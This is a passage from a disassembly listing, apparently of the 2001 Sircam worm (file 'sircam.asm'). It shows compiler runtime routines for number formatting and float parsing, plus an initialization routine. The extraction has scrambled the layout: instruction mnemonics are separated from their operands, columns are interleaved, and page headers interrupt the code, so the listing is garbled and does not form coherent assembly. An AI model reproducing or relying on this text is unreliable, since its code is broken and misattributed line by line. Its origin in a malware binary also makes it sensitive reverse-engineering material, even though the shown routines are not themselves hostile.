; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD0D:
; CODE XREF: sub_40ACC5+21\030j
cmp
jge
mov
edx, ebx
short loc_40AD13
ebx, edx
loc_40AD13:
; CODE XREF: sub_40ACC5+4A\030j
inc
edx
mov
ecx, edx
jmp
short loc_40ACDF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD18:
; CODE XREF: sub_40ACC5+25\030j
cmp
dword ptr [ebp-18h], 0FFFFFFFFh
jnz
short loc_40ACDF
mov
[ebp-18h], edx
jmp
short loc_40ACDF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD23:
; CODE XREF: sub_40ACC5+29\030j
mov
byte ptr [ebp-8], 1
jmp
short loc_40ACDF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD29:
; CODE XREF: sub_40ACC5+2D\030j
; sub_40ACC5+31\030j
mov
ah, al
loc_40AD2B:
; CODE XREF: sub_40ACC5+6D\031j
lodsb
cmp
al, ah
jz
short loc_40ACDF
or
al, al
jnz
short loc_40AD2B
jmp
short loc_40AD4A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD36:
; CODE XREF: sub_40ACC5+35\030j
; sub_40ACC5+39\030j
lodsb
cmp
jz
cmp
jnz
al, 2Dh
short loc_40AD3F
al, 2Bh
short loc_40ACE0
mov
; CODE XREF: sub_40ACC5+74\030j
byte ptr [ebp-0Ch], 1
loc_40AD3F:
loc_40AD43:
; CODE XREF: sub_40ACC5+81\031j
lodsb
cmp
al, 30h
jz
short loc_40AD43
jmp
short loc_40ACE0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD4A:
; CODE XREF: sub_40ACC5+3D\030j
; sub_40ACC5+43\030j ...
mov
cmp
[ebp-14h], edx
dword ptr [ebp-18h], 0FFFFFFFFh
sircam.asm
Fri Aug 10 12:42:44 2001
jnz
mov
short loc_40AD56
[ebp-18h], edx
mov
sub
jle
xor
eax, [ebp-18h]
eax, ecx
short loc_40AD5F
eax, eax
mov
mov
sub
jge
xor
[ebp-20h], eax
eax, [ebp-18h]
eax, ebx
short loc_40AD6B
eax, eax
mov
pop
retn
endp
[ebp-1Ch], eax
ebx
loc_40AD56:
; CODE XREF: sub_40ACC5+8C\030j
loc_40AD5F:
; CODE XREF: sub_40ACC5+96\030j
loc_40AD6B:
sub_40ACC5
297
; CODE XREF: sub_40ACC5+A2\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AD70
proc near
; CODE XREF: CODE:0040AC7C\030p
cmp
byte ptr [ebp-0Ch], 0
jz
short loc_40AD7D
mov
eax, [ebp-18h]
xor
edx, edx
jmp
short loc_40AD90
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD7D:
movsx
cmp
jg
mov
; CODE XREF: sub_40AD70+4\030j
eax, word ptr [ebp-40h]
eax, [ebp-18h]
short loc_40AD89
eax, [ebp-18h]
movsx
sub
; CODE XREF: sub_40AD70+14\030j
edx, word ptr [ebp-40h]
edx, [ebp-18h]
loc_40AD89:
loc_40AD90:
mov
mov
mov
mov
lea
cmp
jz
cmp
jnz
mov
stosb
; CODE XREF: sub_40AD70+B\030j
[ebp-24h], eax
[ebp-28h], edx
esi, [ebp-10h]
edi, [ebp-4]
ebx, [ebp-3Dh]
byte ptr [ebp-3Eh], 0
short loc_40ADAD
esi, [ebp+8]
short loc_40ADAD
al, 2Dh
loc_40ADAD:
; CODE XREF: sub_40AD70+33\030j
; sub_40AD70+38\030j ...
lodsb
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
al, 23h
short loc_40ADD9
al, 30h
short loc_40ADD9
al, 2Eh
short loc_40ADAD
al, 2Ch
short loc_40ADAD
al, 27h
short loc_40ADE0
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jz
cmp
jz
cmp
jz
cmp
jz
or
jz
298
al, 22h
short loc_40ADE0
al, 45h
short loc_40ADEE
al, 65h
short loc_40ADEE
al, 3Bh
short loc_40AE25
al, al
short loc_40AE25
loc_40ADD6:
; CODE XREF: sub_40AD70+88\031j
stosb
jmp
short loc_40ADAD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ADD9:
; CODE XREF: sub_40AD70+40\030j
; sub_40AD70+44\030j
call
sub_40AE2B
jmp
short loc_40ADAD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ADE0:
; CODE XREF: sub_40AD70+50\030j
; sub_40AD70+54\030j
mov
ah, al
loc_40ADE2:
; CODE XREF: sub_40AD70+7C\031j
lodsb
cmp
al, ah
jz
short loc_40ADAD
or
al, al
jz
short loc_40AE25
stosb
jmp
short loc_40ADE2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ADEE:
; CODE XREF: sub_40AD70+58\030j
; sub_40AD70+5C\030j
mov
cmp
jz
cmp
jnz
xor
ah, [esi]
ah, 2Bh
short loc_40ADFC
ah, 2Dh
short loc_40ADD6
ah, ah
mov
ecx, 0FFFFFFFFh
inc
inc
cmp
jz
cmp
jb
mov
; CODE XREF: sub_40AD70+96\031j
ecx
esi
byte ptr [esi], 30h
short loc_40AE01
ecx, 4
short loc_40AE12
ecx, 4
loc_40ADFC:
; CODE XREF: sub_40AD70+83\030j
loc_40AE01:
loc_40AE12:
; CODE XREF: sub_40AD70+9B\030j
push
ebx
mov
bl, [ebp-3Dh]
movsx
edx, word ptr [ebp-40h]
sub
edx, [ebp-18h]
call
sub_40AA4C
pop
ebx
jmp
short loc_40ADAD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AE25:
; CODE XREF: sub_40AD70+60\030j
; sub_40AD70+64\030j ...
mov
eax, edi
sircam.asm
sub_40AD70
Fri Aug 10 12:42:44 2001
sub
retn
endp
299
eax, [ebp-4]
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AE2B
proc near
; CODE XREF: sub_40AD70+69\030p
cmp
dword ptr [ebp-28h], 0
jz
short sub_40AE4C
jl
short loc_40AE3F
loc_40AE33:
; CODE XREF: sub_40AE2B+10\031j
call
sub_40AE4C
dec
dword ptr [ebp-28h]
jnz
short loc_40AE33
jmp
short sub_40AE4C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AE3F:
sub_40AE2B
inc
mov
cmp
jle
jmp
endp
; CODE XREF: sub_40AE2B+6\030j
dword ptr [ebp-28h]
eax, [ebp-24h]
eax, [ebp-1Ch]
short loc_40AE5C
short loc_40AE8D
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AE4C
proc near
mov
inc
or
jnz
dec
mov
cmp
jle
al, [ebx]
ebx
al, al
short loc_40AE5E
ebx
eax, [ebp-24h]
eax, [ebp-20h]
short loc_40AE8D
mov
al, 30h
; CODE XREF: sub_40AE2B+4\030j
; sub_40AE2B+8\030p ...
loc_40AE5C:
; CODE XREF: sub_40AE2B+1D\030j
loc_40AE5E:
; CODE XREF: sub_40AE4C+5\030j
cmp
dword ptr [ebp-24h], 0
jnz
short loc_40AE6F
mov
ah, al
mov
al, ds:byte_41E4EF
stosw
jmp
short loc_40AE8D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AE6F:
; CODE XREF: sub_40AE4C+16\030j
stosb
cmp
jz
mov
cmp
jle
mov
div
cmp
jnz
mov
stosb
loc_40AE8D:
byte ptr [ebp-8], 0
short loc_40AE8D
eax, [ebp-24h]
eax, 1
short loc_40AE8D
dl, 3
dl
ah, 1
short loc_40AE8D
al, ds:byte_41E4EE
; CODE XREF: sub_40AE2B+1F\030j
sircam.asm
sub_40AE4C
Fri Aug 10 12:42:44 2001
dec
retn
endp
300
; sub_40AE4C+E\030j ...
dword ptr [ebp-24h]
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40AE91
proc near
; CODE XREF: sub_40A8EE+43\030p
; CODE:0040AC26\030p
push
ebp
mov
ebp, esp
sub
esp, 1Ah
push
edi
push
esi
push
ebx
mov
ebx, eax
mov
esi, edx
cmp
cl, 0
jz
short loc_40AEAA
call
sub_40AFBF
jmp
short loc_40AEAF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AEAA:
; CODE XREF: sub_40AE91+10\030j
call
sub_40AEB8
pop
pop
pop
mov
pop
retn
endp
ebx
esi
edi
esp, ebp
ebp
8
loc_40AEAF:
sub_40AE91
; CODE XREF: sub_40AE91+17\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AEB8
proc near
; CODE XREF: sub_40AE91+19\030p
mov
ax, [esi+8]
mov
edx, eax
and
eax, 7FFFh
jz
short loc_40AEE3
cmp
eax, 7FFFh
jnz
short loc_40AEEE
test
word ptr [esi+6], 8000h
jz
short loc_40AEE5
cmp
dword ptr [esi], 0
jnz
short loc_40AEE2
cmp
dword ptr [esi+4], 80000000h
jz
short loc_40AEE5
loc_40AEE2:
; CODE XREF: sub_40AEB8+1F\030j
inc
eax
loc_40AEE3:
; CODE XREF: sub_40AEB8+B\030j
; sub_40AEB8+A7\031j
xor
edx, edx
loc_40AEE5:
; CODE XREF: sub_40AEB8+1A\030j
; sub_40AEB8+28\030j
mov
byte ptr [ebx+3], 0
jmp
loc_40AFB0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AEEE:
; CODE XREF: sub_40AEB8+12\030j
sircam.asm
Fri Aug 10 12:42:44 2001
fld
sub
imul
sar
inc
mov
mov
sub
fabs
call
frndint
fld
fcomp
fstsw
wait
test
jz
fidiv
inc
loc_40AF31:
fbstp
lea
mov
wait
301
tbyte ptr [esi]
eax, 3FFFh
eax, 4D10h
eax, 10h
eax
[ebp-8], eax
eax, 12h
eax, [ebp-8]
sub_4052BC
ds:tbyte_40A8DC
st(1)
word ptr [ebp-4]
word ptr [ebp-4], 4100h
short loc_40AF31
ds:dword_40A8CC
dword ptr [ebp-8]
; CODE XREF: sub_40AEB8+6E\030j
tbyte ptr [ebp-1Ah]
edi, [ebx+3]
edx, 9
loc_40AF3D:
; CODE XREF: sub_40AEB8+98\031j
mov
al, [ebp+edx-1Bh]
mov
ah, al
shr
al, 4
and
ah, 0Fh
add
ax, 3030h
stosw
dec
edx
jnz
short loc_40AF3D
xor
al, al
stosb
mov
edi, [ebp-8]
add
edi, [ebp+8]
jns
short loc_40AF61
xor
eax, eax
jmp
short loc_40AEE3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AF61:
; CODE XREF: sub_40AEB8+A3\030j
cmp
jb
mov
edi, [ebp+0Ch]
short loc_40AF69
edi, [ebp+0Ch]
cmp
jnb
cmp
jb
; CODE XREF: sub_40AEB8+AC\030j
edi, 12h
short loc_40AF95
byte ptr [ebx+edi+3], 35h
short loc_40AF9A
loc_40AF69:
loc_40AF75:
; CODE XREF: sub_40AEB8+CE\031j
mov
byte ptr [ebx+edi+3], 0
dec
edi
js
short loc_40AF8A
inc
byte ptr [ebx+edi+3]
cmp
byte ptr [ebx+edi+3], 39h
ja
short loc_40AF75
jmp
short loc_40AFA9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AF8A:
; CODE XREF: sub_40AEB8+C3\030j
mov
word ptr [ebx+3], 31h
inc
dword ptr [ebp-8]
jmp
short loc_40AFA9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40AF95:
302
; CODE XREF: sub_40AEB8+B4\030j
mov
edi, 12h
mov
dec
js
cmp
jz
; CODE XREF: sub_40AEB8+BB\030j
; sub_40AEB8+EF\031j
byte ptr [ebx+edi+3], 0
edi
short loc_40AFBB
byte ptr [ebx+edi+3], 30h
short loc_40AF9A
loc_40AF9A:
loc_40AFA9:
; CODE XREF: sub_40AEB8+D0\030j
; sub_40AEB8+DB\030j
mov
dx, [esi+8]
mov
eax, [ebp-8]
loc_40AFAD:
; CODE XREF: sub_40AEB8+105\031j
loc_40AFB0:
; CODE XREF: sub_40AEB8+31\030j
shr
dx, 0Fh
mov
[ebx], ax
mov
[ebx+2], dl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AFBB:
sub_40AEB8
; CODE XREF: sub_40AEB8+E8\030j
xor
jmp
endp
edx, edx
short loc_40AFAD
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AFBF
proc near
; CODE XREF: sub_40AE91+12\030p
mov
eax, [esi]
mov
edx, [esi+4]
mov
ecx, eax
or
ecx, edx
jz
loc_40B082
or
edx, edx
jns
short loc_40AFD9
neg
edx
neg
eax
sbb
edx, 0
loc_40AFD9:
; CODE XREF: sub_40AFBF+11\030j
xor
mov
or
jge
xor
ecx, ecx
edi, [ebp+8]
edi, edi
short loc_40AFE4
edi, edi
cmp
jl
mov
edi, 4
short loc_40B008
edi, 4
inc
sub
sbb
jnb
dec
add
adc
ecx
eax, 0A7640000h
edx, 0DE0B6B3h
short loc_40AFEE
ecx
eax, 0A7640000h
edx, 0DE0B6B3h
mov
[ebp-10h], eax
loc_40AFE4:
; CODE XREF: sub_40AFBF+21\030j
loc_40AFEE:
; CODE XREF: sub_40AFBF+3B\031j
loc_40B008:
; CODE XREF: sub_40AFBF+28\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
fild
mov
mov
sub
jz
fidiv
loc_40B023:
fbstp
lea
wait
or
jnz
mov
303
[ebp-0Ch], edx
qword ptr [ebp-10h]
edx, edi
eax, 4
eax, edx
short loc_40B023
ds:flt_40A8C8[eax*4]
; CODE XREF: sub_40AFBF+5B\030j
tbyte ptr [ebp-1Ah]
edi, [ebx+3]
ecx, ecx
short loc_40B049
ecx, 9
loc_40B033:
; CODE XREF: sub_40AFBF+86\031j
mov
al, [ebp+ecx-1Bh]
mov
ah, al
shr
al, 4
jnz
short loc_40B05C
mov
al, ah
and
al, 0Fh
jnz
short loc_40B063
dec
ecx
jnz
short loc_40B033
jmp
short loc_40B082
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B049:
; CODE XREF: sub_40AFBF+6D\030j
mov
add
stosb
mov
loc_40B053:
mov
mov
shr
al, cl
al, 30h
ecx, 9
; CODE XREF: sub_40AFBF+A8\031j
al, [ebp+ecx-1Bh]
ah, al
al, 4
loc_40B05C:
; CODE XREF: sub_40AFBF+7D\030j
add
stosb
mov
and
al, 30h
add
stosb
dec
jnz
mov
lea
sub
al, 30h
al, ah
al, 0Fh
loc_40B063:
; CODE XREF: sub_40AFBF+83\030j
ecx
short loc_40B053
eax, edi
ecx, [ebx+edx+3]
eax, ecx
loc_40B071:
; CODE XREF: sub_40AFBF+B9\031j
mov
byte ptr [edi], 0
dec
edi
cmp
byte ptr [edi], 30h
jz
short loc_40B071
mov
edx, [esi+4]
shr
edx, 1Fh
jmp
short loc_40B089
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B082:
; CODE XREF: sub_40AFBF+9\030j
; sub_40AFBF+88\030j
xor
xor
mov
eax, eax
edx, edx
[ebx+3], al
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40B089:
sub_40AFBF
304
; CODE XREF: sub_40AFBF+C1\030j
mov
mov
retn
endp
[ebx], ax
[ebx+2], dl
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
ebp
mov
ebp, esp
sub
esp, 6
push
edi
push
esi
push
ebx
mov
esi, eax
mov
edi, edx
mov
ebx, ecx
fstcw
word ptr [ebp-6]
fclex
fldcw
ds:word_40A8E6
fldz
call
sub_40B13B
mov
bh, [esi]
cmp
bh, 2Bh
jz
short loc_40B0BF
cmp
bh, 2Dh
jnz
short loc_40B0C0
loc_40B0BF:
; CODE XREF: CODE:0040B0B8\030j
inc
esi
mov
call
xor
mov
cmp
jnz
inc
call
neg
; CODE XREF: CODE:0040B0BD\030j
ecx, esi
sub_40B146
edx, edx
al, [esi]
al, ds:byte_41E4EF
short loc_40B0DB
esi
sub_40B146
edx
cmp
jz
mov
and
cmp
jnz
inc
push
call
pop
add
ecx, esi
short loc_40B129
al, [esi]
al, 0DFh
al, 45h
short loc_40B0F1
esi
edx
sub_40B162
eax
edx, eax
call
cmp
jnz
mov
cmp
jnz
add
; CODE XREF: CODE:0040B0E5\030j
sub_40B13B
byte ptr [esi], 0
short loc_40B129
eax, edx
bl, 1
short loc_40B105
eax, 4
loc_40B0C0:
loc_40B0DB:
; CODE XREF: CODE:0040B0D1\030j
loc_40B0F1:
loc_40B105:
; CODE XREF: CODE:0040B100\030j
call
cmp
jnz
fchs
sub_4052BC
bh, 2Dh
short loc_40B111
sircam.asm
Fri Aug 10 12:42:44 2001
305
loc_40B111:
; CODE XREF: CODE:0040B10D\030j
cmp
bl, 0
jz
short loc_40B11A
fistp
qword ptr [edi]
jmp
short loc_40B11C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B11A:
; CODE XREF: CODE:0040B114\030j
fstp
tbyte ptr [edi]
loc_40B11C:
; CODE XREF: CODE:0040B118\030j
fstsw
ax
test
ax, 9
jnz
short loc_40B12B
mov
al, 1
jmp
short loc_40B12D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B129:
; CODE XREF: CODE:0040B0DD\030j
; CODE:0040B0F9\030j
fstp
st
xor
eax, eax
loc_40B12B:
; CODE XREF: CODE:0040B123\030j
loc_40B12D:
; CODE XREF: CODE:0040B127\030j
fclex
fldcw
wait
pop
pop
pop
mov
pop
retn
word ptr [ebp-6]
ebx
esi
edi
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40B13B
proc near
lodsb
or
jz
cmp
jz
al, al
short loc_40B144
al, 20h
short sub_40B13B
loc_40B144:
sub_40B13B
; CODE XREF: CODE:0040B0AE\030p
; CODE:0040B0F1\030p ...
; CODE XREF: sub_40B13B+3\030j
dec
retn
endp
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40B146
proc near
xor
xor
loc_40B14A:
; CODE XREF: CODE:0040B0C2\030p
; CODE:0040B0D4\030p
eax, eax
edx, edx
; CODE XREF: sub_40B146+18\031j
lodsb
sub
add
jnb
fimul
mov
fiadd
inc
al, 3Ah
al, 0Ah
short loc_40B160
ds:dword_40A8CC
[ebp-4], eax
dword ptr [ebp-4]
edx
sircam.asm
Fri Aug 10 12:42:44 2001
306
jmp
short loc_40B14A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40B160:
sub_40B146
; CODE XREF: sub_40B146+9\030j
dec
retn
endp
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40B162
proc near
; CODE XREF: CODE:0040B0E9\030p
xor
eax, eax
xor
edx, edx
mov
cl, [esi]
cmp
cl, 2Bh
jz
short loc_40B172
cmp
cl, 2Dh
jnz
short loc_40B173
loc_40B172:
; CODE XREF: sub_40B162+9\030j
inc
esi
loc_40B173:
; CODE XREF: sub_40B162+E\030j
; sub_40B162+25\031j
mov
sub
add
jnb
inc
imul
add
cmp
jb
al, [esi]
al, 3Ah
al, 0Ah
short loc_40B189
esi
edx, 0Ah
edx, eax
edx, 1F4h
short loc_40B173
cmp
jnz
neg
; CODE XREF: sub_40B162+17\030j
cl, 2Dh
short locret_40B190
edx
loc_40B189:
locret_40B190:
sub_40B162
; CODE XREF: sub_40B162+2A\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40B194
proc near
; DATA XREF: CODE:0041A910\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40B2CA
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E5F0
jnz
loc_40B2BC
mov
eax, offset unk_41E5FC
call
sub_40A5EC
call
sub_40A440
call
sub_409BD8
mov
eax, offset off_41C230
mov
ecx, 16h
mov
edx, ds:off_409668
call
sub_403BE8
sircam.asm
Fri Aug 10 12:42:44 2001
307
mov
mov
mov
call
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
eax, offset dword_41C1F8
ecx, 7
edx, ds:off_4095E8
sub_403BE8
eax, offset off_41C124
sub_4034C8
eax, offset unk_41E5B4
ecx, 7
edx, ds:off_401000
sub_403BE8
eax, offset unk_41E58C
ecx, 7
edx, ds:off_401000
sub_403BE8
eax, offset unk_41E570
ecx, 7
edx, ds:off_401000
sub_403BE8
eax, offset unk_41E540
ecx, 0Ch
edx, ds:off_401000
sub_403BE8
eax, offset unk_41E510
ecx, 0Ch
edx, ds:off_401000
sub_403BE8
eax, offset dword_41E50C
sub_4034C8
eax, offset dword_41E508
sub_4034C8
eax, offset dword_41E504
sub_4034C8
eax, offset dword_41E500
sub_4034C8
eax, offset dword_41E4F8
sub_4034C8
eax, offset dword_41E4F4
sub_4034C8
eax, offset dword_41E4E8
sub_4034C8
eax, offset unk_41C0D0
sub_4034C8
eax, offset unk_41C0BC
sub_4034C8
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40B194+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40B2D1
loc_40B2BC:
locret_40B2C9:
; CODE XREF: sub_40B194+13B\031j
retn
